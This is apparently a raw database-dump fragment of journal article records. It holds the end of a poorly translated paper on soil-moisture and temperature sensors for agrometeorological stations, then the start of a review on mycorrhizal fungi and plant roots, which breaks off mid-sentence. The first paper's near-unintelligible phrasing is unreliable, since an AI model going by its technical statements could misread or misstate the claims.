Besides graduation parameters sensor is provided bring in memory PC beforehand for constant keeping and remove given with 200-300 sensors for 1 second, rather than enter them before measurement by means of each separate sensor, what the company &quot;Veysal&quot; offers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">The author&rsquo;s offer, for completing automated agro meteorology of the point sensors and measuring device (the own production) with the following parameter:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- moisture of the air (range 25-100%, at temperature from -4 before +50<sup>0</sup>C)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- moisture of ground (range 4-40%, at temperature from 0 before +50<sup>0</sup></span><span style=\"font-size:10.0pt\">?</span><span style=\"font-size:10.0pt\">)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- a temperature of the air (the range from -50 before + 50<sup>0</sup>C);</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- a temperature of ground (the range from -25 before + 50<sup>0</sup>C);</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- an photosynthetic to active radiation of the FAR (the range 0,38-0,70 maM) and other.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">On description of the developer these sensors and functional converters &quot;signal-voltage&quot; is universal i.e. it for using suitable, as in automated measuring system, so and in separate discrete instrument.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Except sensor of moisture and the temperature of ground, sensor of the temperature and moisture of the air, sensor of the FAR automated agro meteorology point (AAP-1) includes many-server analog-digital converter united with RS at cable, or through radio link. Computer provides processing and keeping agro meteorology to information. Base AAP-1 is completed 16 sensors. In kit AAP-1 included sensors to moisture of ground for depths 10, 20, 30,..50 sm (5 piece), sensors of the temperature of the ground for depths 10, 20, 30,..50 sm (5 piece), sensors to moisture of the air (2 piece), sensors of the temperature of the air (2 piece) and sensors for measurement total and photosynthetic to active solar radiation (the FAR)- 2 piece [2,6].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Depending on request of the consumers amount channel can be increased before 64 and more for connection any amount sensor. This will not disturb work AAP since speed his that allows &quot;to interview&quot; before 200-300 sensors on length 1 seconds. Alongside with foregoing methods and exists the aerospace methods of the determination to moisture and temperature of ground. One result called on by us analysis patent and research literature, denoted aerospace method of the checking the condition to surfaces of the land, in particular vegetation and ground gives the basis becomes firmly established that at development of the methods of such checking overland method and facility of the checking is conducted little attention.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&nbsp;Designed in this direction of the models of the estimation of the condition of the distance of the plants and ground on satellite data, which are based on law optometrists mainly, thermodynamics and other physical law, will always require experimental check in overland condition [5,6]. </span><span style=\"font-size:10.0pt\">?</span><span style=\"font-size:10.0pt\"> for this necessary reliable overland network of the checking condition plants and ground. However, herewith appear very complex and however, massive problems, connected with particularity aerospace and overland methods. The first particularity: much differ the separate ability (the area incidence) object aerospace sensor and overland facility. So if sensors companion land cover the area to terrestrial surface, which has a form cola by diameter from group of ten of the meter before several kilometers, that thermostats - weight method can characterize the wad of the land by diameter before 3-4 sm, in ditto time sensors VPG- 4 c act in field, which has a form cola by diameter 60 sm and more. Relies on that if for cosmic sensor for separate ability to take the circle by diameter 10 ha, that volume of the sample for moisture to surfaces of ground for sensor companion will form 7,85*10<sup>7</sup> sm<sup>2</sup>, for VPG-4C - 2,826*10<sup>3</sup> sm<sup>2</sup> , but for TW-method - only 7,1 sm<sup>2</sup>. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">There is while one striking, way to take into account this particularity, this fascination on area of the number of the repetitions of the measurements instrument VPG-4C and, especially, determinations to moisture of ground TW-method. On the other hand, by means of aerospace methods it is impossible get sharing the temperature and moisture of ground on depth before 1-1,5 m. In this case they while that no can change the overland facilities of the reception to information on moisture and temperature of the ground [3,5,6]. The second particularity: aerospace data, as a rule, do not comply with overland at time and space. The known that path companion often does not comply with location existing network hydrometeorology station and points, which lead the overland observations for condition of atmosphere, plants and ground [6].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">The periods agro meteorology observations also, chalice whole, do not comply with current of time of the passing artificial companion on location station and points. To take into account this particularity there is two ways:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1) if well studied microclimate to particularities of the territory daily move agro meteorology of the factors, it is necessary to enter the corresponding to adjustments in given overland observations.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2) on route of the passing of the artificial companion beforehand to place the mobile agro meteorology points with increased the frequency of, then on hidro meteorology station period of the observations. Such points allow not only more exactly fasten the overland observations to aerospace data, but can serve new, very efficient technical base for microclimate of the studies of the territory.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">The third particularity: different physical principles prescribed in base overland and aerospace facilities of the measurement. In aerospace method and facility of the measurement are used several ways of the measurement parameter laying under surfaces of the land. This registration reflected radiation in seen part spectrum, in infrared (IK) range and in radio-frequency radio diapason, as well as fixation natural gamma-radiations to surfaces of the land. In instrument VPG-4C applying conduct meter way of the measurement to capacities of ground in variable electric current [1,3]. TW-method is founded on weight drying and determination amount vaporized water.&nbsp; Each of three above mention methods has their own advantage and defect. The advantage of the aerospace methods consists in therefore that they high-speed and cover the greater territory. But they else have a defect in that that by means of their it is impossible get distribution an agro meteorology factors in deep cut before 1-1,5 m that that there is advantage of the overland facilities.</span></p>\r\n\r\n<p><span style=\"font-size:10.0pt\">The instrument VPG-4C has that superiority before TW-method that he characterizes the test of ground by volume 28 liters, but TW-method -only 22 milliliters. TW-method except named above defect has its main advantage over VPG-4C and aerospace methods. His advantage consists in that that he directs method and serves the facility graduation, both soils moisture meter, and aerospace facilities measurement to moisture of ground. However attempt graduation cosmic sensors only by means of TW-method can be unsuccessful unless use VPG-4C as intermediate facility [1]. There by, necessary such correlation in use all that methods to possible was gets the most objective information on moisture of ground.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Mikituk AV, Kazharov VM, Shuqay PU (2007) Premises of the creation electronic moisture method ground. UDK 532.5., Sb. The Works Kubansk State Agrarian University. Kuban. Pg No: 97-103.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Eromenko VY, Prokopenko AI (1983) Use the remote methods for separation of the perspective areas within weakly study by territory. Geological structures Siberia and their ore-bearing. Tomsk, TTU. Pg No: 124-133.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Aliev ZH (1999) The methodical instructions on using of technologies pulsed drip irrigation in condition Azerbaijan. Azerbaijan Engineering - Building University. Pg No: 9.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Alekseev AS, Dementiev VN (1983) Cosmic methods of the study nature ambiences. Novosibirsk. Pg No: 115-125.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Werigo SA (1977) Methodic scheduling the forecast spare productive moisture and estimation moisture provided corn cultures. - In kn.: Collection of the methodical instructions on analysis and estimation agro meteorology condition. -L. GIDROMETIZDAT. Pg No: 143-164.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Yashin AL, Zyatykova L, sharapov VN (1983) The complex methods of the processing aerospace photo information for revealing the particularities of the construction terrestrial cortex. Cosmic methods of the study of the natural ambience. Novosibirsk. Pg No: 11-24.</span></li>\r\n</ol>\r\n','','','','1539164146.pdf',NULL,'1539164146.jpg','',0,1,'2018-10-10 15:05:45','2018-10-16 01:09:13',1),(19,35,'20','2018','Anatomic and Morphologic Relations Developed Between Plants Roots and Arbuscular Mycorrhizal Fungi (AFM) During The Establishment of Mycorrhizal Symbiosis: A Review','Jose Luis da Silva Nunes*','Review Article','Anatomic-and-Morphologic-Relations-Developed-Between-Plants-Roots-and-Arbuscular-Mycorrhizal-Fungi-AFM-During-The-Establishment-of-Mycorrhizal-Symbiosis-A-Review','Anatomic and Morphologic-Relations-Developed-Between-Plants Roots and Arbuscular Mycorrhizal Fungi (AFM) During The Establishment of Mycorrhizal Symbiosis: A Review','Anatomic-and-Morphologic-Relations-Developed Between Plants Roots and Arbuscular Mycorrhizal Fungi (AFM) During The Establishment of Mycorrhizal Symbiosis: A Review','Anatomic and Morphologic Relations Developed Between Plants Roots and Arbuscular Mycorrhizal Fungi (AFM) During The Establishment of Mycorrhizal Symbiosis: A Review','<h2 style=\"text-align:center\"><span style=\"color:#000000\"><strong><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\">Open Access Journal of Agriculture Research</span></span></strong></span></h2>\r\n\r\n<h3 style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Anatomic and Morphologic Relations Developed Between Plants Roots and Arbuscular Mycorrhizal Fungi (AFM) During The Establishment of Mycorrhizal Symbiosis: A Review</span></strong></span></span></h3>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Jos&eacute; Luis da Silva Nunes<sup>*</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Agronomist, Doctor in Plant Science, Technical of Development, Agribusiness Superintendence, Brazil</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author</strong>:<strong> </strong>Jos&eacute; Luis da Silva Nunes, Agronomist, Doctor in Plant Science, Technical of Development, Agribusiness Superintendence, Brazil. Tel: +555199834-8241; Email: <a href=\"mailto:silva.nunes@ufrgs.br\">silva.nunes@ufrgs.br</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Nunes JLS (2018) Anatomic and Morphologic Relations Developed Between Plants Roots and Arbuscular Mycorrhizal Fungi (AFM) During The Establishment of Mycorrhizal Symbiosis: A Review. Open Acc J Agri Res: OAJAR-100010.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>21 September, 2018;<strong> Accepted Date: </strong>10 October, 2018; <strong>Published Date: </strong>25 October, 2018</span></p>\r\n','<p style=\"text-align:justify\"><strong>1. Abstract</strong></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">This review shows the anatomic and morphologic relations developed during the signaling/establishment of biotrophic mutualism symbiosis between plants and Arbuscular Mycorrhizal Fungi (AMF). The main objective is to help in the comprehension of mechanisms involved in the formation of the mutualistic complex between the roots and the AMF.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords:</strong><strong> </strong>Appressory; Arbuscule; Mutualism; Strigolactones</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The anatomy and the morphology of plants roots have achieved prominence in several branches of knowledge, notably in the Biological and Agronomic Sciences, as they are one of the main resources of the vegetal body related to the supply and the sustentation of the plants [1]. The agricultural practices of soil management need special attention in the relations of the roots of different plants with the different management used, because the health of the plants is dynamically linked to these delicate relations [2].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The difficulty of obtaining bibliographical contents, which are scarce and pulverized in the agronomic and biological areas, makes it difficult to train specialized personnel to study the relations between agricultural practice and applied botanic [3]. On the other hand, the expression of the anatomical and morphological organization of the plants roots in the diverse areas of Agronomy and of the Biological Sciences are ample, being many the studies that deal with the structural resistance of the vegetables to the microorganisms [4]. Management practices linked to monocultures allow the reproduction of certain microorganisms that cause damage to crops, being common the use of agricultural pesticides in order to minimize this problem [2].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Thereby, studies have been made with the aim of evaluating the possibility of a reduction of chemical products in the control of harmful microorganisms, ranging from research on the structural strength of the plant, passing by the dynamic vegetation front to the management, to the use of microorganisms considered beneficial to the plants [3]. On this last point, the Arbuscular Mycorrhizal Fungi (AMF) are important, because they colonize the root system of most plants, forming a symbiosis of the type biotrophic mutualistic [5]. This symbiosis is widely distributed in the plant kingdom, occurring in 83% of the plants Magnoliopsida (dicotyledons), in 79% of the Liliopsidas (monocotyledons) and in all Gymnosperms, which do not change the external aspect of the root [6]. In addition, the occurrence of symbiosis is widespread in most habitats, both in natural ecosystems and in ecosystems changed by man [7].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The AMF belong to the order Glomales, two suborders (Gigasporineae and Glomineae). In the suborder, Gigasporineae is to the family Gigasporaceae (with two genera, Gigaspora and Scutellospora). Already, in the suborder, Glomineae are to the families Acaulosporaceae (with two genera, Entrophospora, and Acaulospora), Archaeosporaceae (one genus, Archaeospora), Glomaceae (with one genus, Glomus), and Paraglomaceae (a&nbsp;genus, Paraglomus) [8]. Although mycorrhizal associations were described in 1885 by Frank, but only in 1922, Thaxter did the first review of this group of fungi, at the time called Endogon&aacute;ceos, and recognized 24 species. In the 70&rsquo;s, new and relevant concepts were consolidated to the Endogon&aacute;ceos, with the creation of new genera and the recognition of 44 species [9]. Recent studies [10,11] have established important taxonomic concepts for the group, and these works were extensively increased by Morton. Currently, the Glomales&rsquo; taxonomy is receiving significant updates and revisions, mainly on the relationships of these organisms with their phytobionts and their phylogenetic relationships [8,12-15]. The methods of studies and taxonomic aspects (descriptions of species and identification keys) are reasonably consolidated in several works [16,17].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The mutualism manifests itself in the bidirectionality of the nutrient exchange, in which the plant provides carbohydrate to the fungus, while it provides water and nutrients, especially for the case of the phosphor [18]. Although the symbiosis is beneficial for the phytobionts, the effectiveness varies depending on the combination of the plant species and fungus involved in the association [18]. In this way, the relationships involved in the formation of this symbiosis, since the signaling between the phytobionts, the early stages of the colonization process, as well as possible changes promoted by the AMF in the anatomical and morphological structure of the roots [19], should be considered aiming to a complete understanding of the relationships between the symbionts. There is few information about such relationships, as well as about the anatomical and histochemical modifications produced by mycorrhizal infections in plant tissues [20]. Some authors report that the AMF does not cause morphological changes in the roots [21], however studies show that the AMF induces changes in the architecture [19,22], morphology [3,19,22,23] and anatomy [19] of the roots of several plant species.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.1. Factors Involved in the Symbiosis</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The sequence of steps that lead to the formation of the symbiosis seems to be common to the majority of plant species and these AMF, regardless of the effectiveness of the symbiosis [24]. The development of the symbiosis requires significant changes in both symbionts, which initiate the process through a signaling between them [25,26].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The process of formation of the symbiosis can be divided into 4 stages of development: </span></p>\r\n\r\n<ol style=\"list-style-type:lower-roman\">\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The presymbiotic stage;</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Contact and entry of the fungus in the root tissue;</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Proliferation of the fungus in the tissue intraradical;</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The formation of the interface arbuscule/cell and the beginning of transfer of nutrients and water to the plant [24].</span></li>\r\n</ol>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">These phases describe the time sequence of events that occur in a process of infection and colonization of plants by AMF. However, the establishment of the symbiosis in the entire root is highly asynchronous, with the phases described occurring at the same time, from the moment that the fungus began the colonization of the root [27,28]<sup>.</sup> The understanding of the morphological and physiological changes that occur in the symbionts suggests that the symbiosis is the result of a series of events previously identified [29].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.1.1. Signaling of The Plant and The Response of the Fungi</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The formation of the appressory, during the pre-contact, involves the reorganization and attraction between the symbionts, whereas the survival of the fungus, after the germination of the spore, depends on a rapid colonization of the host plant [24]. The results of studies of the 50&rsquo;s indicated that the spores of most species of fungi remained on the ground and could germinate spontaneously independent of the emission signals of the plants [30]. In addition, the spores could retain carbon enough to repeat the process of germination, especially in the case of spores of <em>Gigaspora gigantean</em>, which could germinate up to 10 times [31]. However, recent studies show that, in the absence of a potential host, the hyphae would show a limited growth by the use of resources stored in the spore [32].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">On the other hand, several studies [28,33,34] show that the spores of the AMF require the presence of exudates liberated by the plants roots to have their germination initiated or suppressed, which indicates the existence of receptors in the spores that are responsible for changes in chemical composition that cause the beginning of the development of tube germination, grow through the soil. When approaching the roots, the fungus suffers modifications in its morphology, enhancing the growth and branching of the hyphae, in response to the increase of the concentration of the exudates liberated by the host plants roots. According to the same authors, such responses increase the contact between the roots and the hyphae [35]. Some studies indicate that the main factor&nbsp;that acts as a stimulant to the branching of the hyphae (branch factors) is the 5-deoxi-strigol (classified as a strigolactone), factor produced by both Liliopsidas as Magnolipsidas [36,37]. This is because the concentration of strigolactones in the exudates of the host plants roots of AMF is higher than that of the plants that have a low possibility of being colonized [37]. The active site presented in the fungus responsible for the perception of the 5-deoxi-strigol has not yet been identified [38]. However, the detection of this factor was seen in the exudates of the carrot roots moments before the start of the increase of the speed of the branching of the hyphae of <em>Gigaspora rosea</em> and <em>Glomus intraradices</em> that were close to the same. According to these authors, the presence of this factor induces the transcription of mitochondrial genes, that increase oxygen consumption and elevate the breathing and the status of energy necessary for the branching of the hyphae. In this way, from the detection of the branch factor 5-deoxi-strigol, presented in the exudates liberated by the plants roots, there is a vigorous production and branching of hyphae of the fungus (Figure 1) for the quick contact with the plants roots for obtaining carbon sources [34].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">On the other hand, the responses of plants to the colonization of the roots by the AMF are different from those observed with other microorganisms [39], being that the defenses of the plants are suppressed during the process of formation of the mycorrhizal symbiosis [28,29]. The chemical nature of at least one signaling molecule of the plant involved in the development is known, while a few is known about the signaling of the fungus, its perception, and results in the plant [40]. Studies indicate that sections of roots near the hyphae of AMF with intense branch had an expression of the gene MtENOD11 responsible for &szlig;-glucuronidase (GUS), this expression is not presented in infections caused by pathogenic fungi [41]. When the contact and penetration are allowed, the expression of GUS is restricted in the area where occurs the infection and in the infected cells [42,43], indicating that occurs suppression of the activity of the expression of GUS in areas already colonized by roots [44]. Thus, it is possible regions that are not colonized in the plant root become ready for the contact with the fungus because of the expression of GUS, at the same time, in regions already colonized, occur the suppression of this expression [43]. When the contact is made at an accurate area of penetration and colonization is established, the expression of the gene responsible by the GUS is suppressed by the cells in direct contact with the penetration of the fungus [45]. In this way, the intensity and distribution of expression of GUS could be an indicative of a detection by the plant of a compound released by the fungus [24].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The identification and characterization of mutant plants, that are unable to develop the mycorrhizal symbiosis, can contribute to the identification of additional signaling molecules of the plant that are responsible for the communication between the symbionts [46]. As an example, the mutant plants of <em>Medicago truncatula </em>do not show the ability to form symbiosis with nitrogen fixing bacterium (NOD), and are also unable to form mycorrhizal symbiosis (MYC), suggesting that both of the symbiosis have a common genetic mechanism of regulation, defined by the gene MtDMI2 [45] (Figure 2). Although the AMF are not able to colonize the mutant plants roots of <em>M. truncatula</em>, even so, the hyphae would suffer ramifications, and, before the contact, the expression of MtENOD11 is still induced to compatible levels with wild plants, indicating that the presymbiotic properties are not affected [41,47]. However, the proximity contact suppresses the expression of GUS due to a lack of functionality of the MtDMI2. In a similar way to what occurs with the AMF, in the process of pre-&nbsp;infection of the nitrogen fixing bacterium (NOD) of the genus Rhizobia, the expression of GUS is found in large sections of the roots before contact, occurring, however, suppression when the proximity contact, which would prevent the formation of nodules [44].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Different studies have shown that the activity of fungal molecules induces the expression of a number of genes in the early stages of the development of the mycorrhizal symbiosis, in a similar way to the process of protein synthesis of &ldquo;plant&rsquo;s defense&rdquo;, involved in the formation of nodulations in roots from the colonization of nitrogen fixing bacterium (NOD), which would be an indication that the genes involved in the formation of these nodulations could be the same involved in the synthesis of proteins with functions predicted in transcription in response to a signal from the fungus [40,42,48,49]. The similarity in the expression (or suppression) between the two types of symbiosis suggests that the responses are part of a system of preparation for colonization of the roots, signaled between the symbionts.</span></p>\r\n\r\n<p style=\"text-align:justify\"><strong>3.1.2.&nbsp;</strong><span style=\"font-family:Times New Roman,Times,serif\"><strong>The Formation of Appressory and Penetration in the Roots</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The beginning of the symbiosis is morphologically marked by the formation of the appressory, being the first physical contact between the fungus and the plant, marking the place of entry of the AMF in the host plant. From the penetration of the tissue, it begins the development of intercellular and intracellular through the cortex. For the process of adaptation, morphological integration and function compatibility occurs between the cells of the plant and the hyphae of AMF, it is necessary a highly evolved molecular recognition and coordination among them [50].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The appressory development can be considered a successful result of the recognition of events in presymbiotic between the symbionts [51]. Structurally, appressory differs from hyphae because it is a plan with elliptical tips, which serve to adhere to the cells on the surface of the roots through a system still little known [50]. The morphological changes in the hyphae are signaled by changes in the gene transcription of the fungus [52]. Plants that are unable to form a symbiosis with AMF would not induce these changes in the transcription gene of the fungus, which would prevent the formation of appressory [51]. After the formation of the appressory and their physical contact with the roots, some of the changes occur in the host cells, so the process of colonization begins [43]. The first event is the repositioning of the cell&#39;s nucleus of the adjacent to the appressory, associated with the formation of a column with a hollow intercellular, composed of microtubules and microfilaments (Figure 2), which serve to coordinate the movement of the hyphae between the cells and the cell&#39;s nucleus to a opposite position to that of the appressory [53]. Finally, the hyphae penetrates the cortex region of the root and follows the route formed by the column, through the intercellular space [53].</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Since then the infection occurs, because the preparatory action to infection is activated throughout the tissue root, since the cells of roots have a complementary activity that facilitates the penetration of the fungus [43]. The preparation of the column for the passage of hyphae between the cells is accompanied by the synthesis of a&nbsp;membrane, from the moment that the hyphae becomes intracellular, forming an interface between the fungus and the plant cell [43] (Figure 3).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.1.3. The Development of the Arbuscule</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The arbuscule are known to be the main feature of the formation of the mycorrhizal symbiosis, representing an extreme form of intimacy and compatibility [42]. The formation of the arbuscule inside of host cells is associated with drastic changes in the morphology and physiology of both symbionts [24]. The formation of the &ldquo;symbiotic membrane&rdquo; and the interface between the symbionts has been recognized by several authors as a common feature of the different species of AMF in the process of colonization and intracellular growth [42,43,53,54] (Figure 4).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In this process, which occurs inside of the cortical cells, the hyphae of the fungus differentiates from arbucules, which are the structures involved in the extension of the cell plasma membrane, resulting in an interface area arbuscule-cortical cell, responsible to transfer water and nutrients, especially phosphor, of the fungus to the plant [50]. The cytoskeleton of the cells colonized sustains rearrangements in order to enable the development of the arbuscule-cell interface [54,55], and this reorganization can be flagged as prior to penetration of the cell [54]. With this the architecture of the host cells suffers changes, as the change of the nucleus from a peripheral position to a central position [53], the vacuoles become fragmented and a extensive periarbuscular membrane is synthesized along the cell plasma membrane [56].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"font-family:Times New Roman,Times,serif\">The intense activity of both symbionts in the colonized cells leads to the collapse of the arbuscule after a few days, leaving, however, the cell cortex intact so that you can host another arbuscule [24]. Processes are not well-known that trigger the input of the fungus in the cells, but some authors have observed that the formation of a radial gradient of sugar between the vascular tissue and the external layers of cells may be involved in the induction of the formation of the arbuscule [57]. However, the recent identification of Strigolactones as a stimulant of the presymbiotic ramifications of fungus [58,59], combined with the discovery of part of the biosynthetic path of these substances in colonized roots [60,61] indicate that these molecules could be linked</span> to<span style=\"font-family:Times New Roman,serif\">&nbsp;</span></span><span style=\"font-family:Times New Roman,Times,serif\">the intracellular ramification of the hyphae [60]. In a similar way, processes that lead to the collapse of the arbucule inside of the cells are not known [58]. The beginning of the collapse of the arbucule may be caused by endogenous fungus signaling and/or coordinated by this signaling [24]. The development of the arbuscule would also be regulated by the gene activity of both symbionts [62]. The genes involved in the expression of GUS, during the presymbiotic, would also be involved in the signaling of changes in the plant cell before the formation of the arbuscule [25]. On the other hand, in response to the changes promoted in the cells, whose signal would be capture by the receivers of the hyphae, genes of AMF would promote changes in the hyphae structure with the goal of developing the interface between the fungus and the host [63].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.2. Modifications in Anatomy and Morphology of Roots after the Establishment of Symbiosis </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The morphology of the root system is genetically determined and can vary between plant species and individuals in function of environmental factors such as water availability, nutrients and temperature [64], and the plasticity of the root system may also be influenced by the AMF [19]. The morphology of the roots influences in the rapid development of the root system, which is critical to the success of the establishment of the majority plants [3]. This fact is fundamental to the understanding of the effects of AMF on root development [19]. The main effect of colonization of roots by AMF would be the reduction of the cortex thickness of the plants roots, at the same time that would increase in most of the morphological parameters of the xylem of the roots [19]. In this context, the AMF, after the establishment of the symbiosis, would increase the size and number of cells of the metaxylem [65], which is one of the categories of the primary xylem whose cells that are conductive distinguish lately and present a larger diameter [66], and the secondary xylem [65]. On the other hand, AMF do not seem to have an effect on protoxylem [19], since it presents cells that differentiate first acquiring lignified secondary walls early, which decreases the possibility of AMF performance on the growth of these cells [67]. Thus, the decrease in cortex area seems to be directly related to the increase in the number of metaxylem cells and the secondary xylem of the plants inoculated with AFM [19,68].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The regulation of the development of mycorrhizal symbiosis can be achieved through the modification of endogenous levels of phytohormones, by regulating auxin levels in the fungus and / or host [57]. Changes in the hormonal balance of plants, due to the establishment of the mycorrhizal association, have been described in several plant species, both Liliopsidas and Magnolipsidas, as a function of the ability of the AMF to biosynthesize these phytohormones [69]. Examples of this fact are the studies of endomycorrhizal fungi, extracted from roots of <em>Ophrys lutea</em> (Orchidaceae) and maintained in culture medium for three weeks in the dark, which released high concentrations of Indol Acetic Acid (IAA - indole-3 -acetic acid) and indole-3-ethanol, revealing the ability of these fungi to synthesize hormones [70]. The identification of these compounds in the mycelium extract suggests the transfer of these compounds from fungi to the host plant during the establishment phase of symbiosis [70].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Roots colonized by AMF show an increase in the production of auxins and cytokinins, which would be involved in the increase or in the continuity of the growth of the cells of the conducting tissue, especially the size and number of the cells of the metaxylem and secondary xylem [71]. The establishment of symbiosis would lead to the production of biochemical flags that would activate the genes involved in the production of these phytohormones, while the same flags would be responsible for the formation of root nodules of leguminous plants colonized by <em>Rhizobium</em> sp. [71]. Studies have shown that the tissue responses of the roots of cv. mutant of alfalfa MN 1008, which performs the transcription of these flags in the absence of the symbionts, were identical to those of plant roots colonized by both AMF as by <em>Rhizobium meliloti</em>. In view of this, one can intuit that the presence of AMF would favor the constant differentiation of the tracheal elements of xylem (Figure 5).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">On the other hand, there seems to be possible variable effects on root morphology, according to the AMF species and plant species involved in symbiosis, influencing the size and growth of xylem cells [72]. Experiments with the species <em>Glomus fasciculatum</em> and <em>Glomus etunicatum</em> show that they induced changes in the roots of &#39;Elsanta&#39; and &#39;Cambridge Favorite&#39; strawberry cultivars, but did not cause any changes in the root morphology of the Rhapsody cultivar, showing the variable effect of these species of AMF on different cultivars of the same plant species [22]. Roots of plants that were colonized by AMF may or may not display increases in longevity, depending on the plant species and fungi involved in symbiosis [68,73,74]. However, the morphological attributes that can be affected by the AMF, such as the ramifications and the diameter of the conductive tissue, have a direct influence on the increase in the longevity of roots [74,75]. In addition to increasing longevity, root colonization by AMF provides a rapid renewal of the root system, increasing the rate of replacement of roots that collapse [76].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3.3. Acquisition of Nutrients and Benefits</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">AMF obtain carbohydrates from their hosts and provide the plant nutrients, especially phosphate. In the case of phosphate, depending on the plant-fungus combination, the acquisition may be wholly or partially carried out by the fungus [18]. The metabolic pathway of nutrient acquisition begins with assimilation through hyphal-soil interface [77]. In the hypha, the nutrient is translocated to structures of the fungus inside the roots [78], where it is transferred to the plant, via arbuscule [79]. The route of transfer of carbohydrates from the plant to the AMF follows the reverse direction [78,79]. The benefits provided by AMF on plant development are associated with many mechanisms of action of these fungi, which act 